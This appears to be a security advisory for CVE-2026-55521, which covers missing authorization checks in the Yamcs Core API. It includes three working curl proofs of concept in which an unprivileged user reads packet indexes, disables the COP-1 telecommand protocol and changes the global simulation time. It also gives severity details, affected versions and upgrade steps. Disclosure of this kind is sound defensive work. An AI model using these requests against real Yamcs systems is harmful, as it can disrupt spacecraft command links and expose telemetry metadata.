Skip to content

GHSA-962x-ccwf-8x6p CVE-2026-55521

Yamcs Core API has Multiple Missing Function Level Access Control vulnerabilities

High Maven
Severity
8.8 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.52%
Chance of exploitation in the next 30 days. Higher than 44.41% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-862 Missing Authorization
Fix
5.13.2
Upgrade org.yamcs:yamcs-core to this version or later

Description

Summary

Multiple Missing Function Level Access Control vulnerabilities exist in the Yamcs Core API. These vulnerabilities allow any authenticated user, regardless of their assigned roles or privileges (e.g., an unprivileged "Guest"), to bypass intended access controls. An attacker can exploit these flaws to extract sensitive telemetry metadata, disrupt satellite communication link protocols (COP-1), and manipulate the global simulation time, severely impacting the confidentiality, integrity, and availability of the system.

Details

Yamcs utilizes a robust Role-Based Access Control (RBAC) model with SystemPrivilege and ObjectPrivilege to restrict administrative actions and data retrieval. However, three critical API controllers completely omit these authorization checks before executing internal business logic:

  1. IndexesApi.java (Information Disclosure): Unlike PacketsApi.java, which filters results using ctx.user.hasObjectPrivilege(ObjectPrivilegeType.ReadPacket, packetName), methods in IndexesApi (such as listPacketIndex and listEventIndex) directly retrieve and return archive records from the CcsdsTmIndex without verifying if the user has the required Object Privileges.
  2. Cop1Api.java (Denial of Service / Integrity): Modifying the COP-1 telecommand protocol state is an administrative action requiring SystemPrivilege.ControlLinks. However, endpoints in Cop1Api (e.g., disable, resume, initialize, updateConfig) process link state alterations without calling ctx.checkSystemPrivilege(...).
  3. TimeApi.java (Denial of Service / Integrity): The setTime method allows modification of the global SimulationTimeService (affecting all processors, telemetry, and tests in that instance). This endpoint fails to assert any system privileges before applying the requested simulation speed or time jumps.

PoC

Prerequisite: Obtain valid credentials for a completely unprivileged user (e.g., user_without_priv:password with no roles assigned).

PoC 1: Extracting Packet Indexes (IndexesApi)

curl -s -X GET "http://localhost:8090/api/archive/simulator/packet-index" \
     -u "user_without_priv:password"

Result: Returns HTTP 200 OK with a full JSON array of packet indexes, bypassing Object Privilege checks and leaking system metadata.

PoC 2: Disabling COP-1 Protocol (Cop1Api)

curl -s -X POST "http://localhost:8090/api/cop1/simulator/tc_sim:disable" \
     -u "user_without_priv:password" \
     -H "Content-Type: application/json" -d '{}'

Result: The server processes the request past the authorization layer. Depending on the link configuration, it will either successfully disable COP-1 or return 400 BadRequestException confirming the link does not support COP-1. The absence of a 403 Forbidden confirms the authorization bypass.

PoC 3: Manipulating Simulation Time (TimeApi)

curl -s -X POST "http://localhost:8090/api/instances/simulator:setTime" \
     -u "user_without_priv:password" \
     -H "Content-Type: application/json" -d '{"speed": 10.0}'

Result: The server processes the request past the authorization layer. It changes the global simulation speed if the service is active, or returns 400 BadRequestException: Cannot set time for a non-simulation TimeService. The absence of a 403 Forbidden confirms the authorization bypass.

Impact

The vulnerability impacts instances of Yamcs exposing the REST API.

  • Confidentiality: Unprivileged users can enumerate all historical telemetry packet and event metadata.
  • Integrity & Availability: Attackers can disable critical satellite telecommand protocols (COP-1) causing command transmission failures. They can also manipulate the global simulation time, disrupting processors, automated tests, and all other users relying on the simulation environment.

PoC Images:

  • Check user permission <img width="1218" height="951" alt="image" src="https://github.com/user-attachments/assets/fa7b1f1b-70fc-4796-805a-70acb84686d3" />

  • Check admin permission and access API: <img width="1768" height="555" alt="image" src="https://github.com/user-attachments/assets/844364f7-5e26-4c15-8809-6512f10ffbab" />

  • Check user no permission - get response same with user admin: <img width="1264" height="885" alt="image" src="https://github.com/user-attachments/assets/8773cef6-f940-48f7-a382-0eb87b8767d4" /> <img width="1243" height="358" alt="image" src="https://github.com/user-attachments/assets/3288f092-7114-48d6-9e5c-9aeaf20d95d4" />

Affected versions

Maven

PackageVulnerableFixed in
org.yamcs:yamcs-core
>= 5.13.0, < 5.13.2
5.13.2
org.yamcs:yamcs-core
< 5.12.8
5.12.8

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

org.yamcs:yamcs-core Maven → 5.13.2

maven
<dependency><groupId>org.yamcs</groupId><artifactId>yamcs-core</artifactId><version>5.13.2</version></dependency>
gradle
implementation("org.yamcs:yamcs-core:5.13.2")

Severity breakdown

CVSS 3.1 8.8

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-862: Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

How to prevent it
  • Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
  • Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
  • Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
  • System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-9272-wg2r-7xmx
Yamcs has DOM XSS in Extension Routing
Medium Also affects org.yamcs:yamcs-core
GHSA-c64q-hj4j-375f
Yamcs vulnerable to authenticated remote code execution via unescaped StreamSQL `LIKE` pattern compiled by Janino (`LikeExpression`)
Critical Also affects org.yamcs:yamcs-core
GHSA-73mf-m39p-wpm9
Yamcs vulnerable to Remote Code Execution via instance-template argument YAML injection (createInstance)
Critical Also affects org.yamcs:yamcs-core
GHSA-9jg3-g3wh-w9pj
Yamcs has Unauthenticated Directory Traversal
High Also affects org.yamcs:yamcs-core
GHSA-rxpg-wjf8-qv9c
Yamcs has Reflected XSS in the URL of the Authorize Endpoint
Medium Also affects org.yamcs:yamcs-core
GHSA-cvw4-55pp-3hfq
Yamcs's Missing Authorization on Role and Privilege Enumeration Endpoints Allows Any Authenticated User to Disclose Full Security Configuration
Medium Also affects org.yamcs:yamcs-core
GHSA-fwww-cp23-7f5g
Yamcs's WebSocket subscription handlers omit the privilege checks their REST siblings enforce
Medium Also affects org.yamcs:yamcs-core
GHSA-3g44-3m7x-cgg2
Yamcs vulnerable to authenticated RCE via StreamSQL aggregate-compiler column-name injection in Yamcs `executeSql`
Critical Also affects org.yamcs:yamcs-core
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor